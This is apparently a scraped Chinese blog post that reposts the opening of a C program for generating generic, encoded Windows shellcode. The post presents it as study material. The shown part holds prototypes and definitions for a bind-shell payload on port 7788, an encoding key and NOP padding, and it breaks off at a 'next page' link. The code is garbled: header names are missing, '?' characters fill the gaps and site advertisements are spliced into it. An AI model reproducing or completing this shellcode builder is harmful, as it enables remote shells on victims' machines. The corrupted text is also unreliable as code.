前几天看了看x的shellcode,有很多东西部是很懂,今天找了找在安全焦点http://www.xfocus.net/找到一个高人写的,看了看思路,写得很不错,所以贴出来大家看看,以方便以后学习用阿!
这个是通用的shellcode,自己在vc++下编译一下! 【程序编程相关:让程序只运行一个实例的简单实用的方法】
? 【推荐阅读:string和各内置类型的互换方法(st】
??????????? 使用c语言编写通用shellcode的程序 【扩展信息:来自己的BLOG发现计数器竟然是5555】/*
出处:internet修改:hume/冷雨飘心测试:win2k sp4 local*/
#include #include #include#define? debug 1
//
//函数原型//void???? decryptsc();void???? shellcodes();void???? printsc(char *lpbuff, int buffsize);//
//用到的部分定义//#define? beginstrlen??? 0x08??? //开始字符串长度#define? endstrlen????? 0x08??? //结束标记字符的长度#define? nop_code?????? 0x90??? //填充字符#define? nop_len??????? 0x0???? //shellcode起始的填充长度#define? buffsize?????? 0x20000 //输出缓冲区大小#define? sc_port??????? 7788??? //绑定端口号 0x1e6c
#define? sc_buffsize??? 0x2000? //shellcode缓冲区大小#define? enc_key??????? 0x7a??? //编码密钥
#define? max_enc_len??? 0x400?? //加密代码的最大长度 1024足够?
#define? max_sc_len???? 0x2000? //hellcode的最大长度 8192足够?#define? max_api_strlen 0x400?? //apistr字符串的长度#define? api_endstr???? "strend"//api结尾标记字符串??? #define? api_endstrlen? 0x06??? //标记字符串长度... 下一页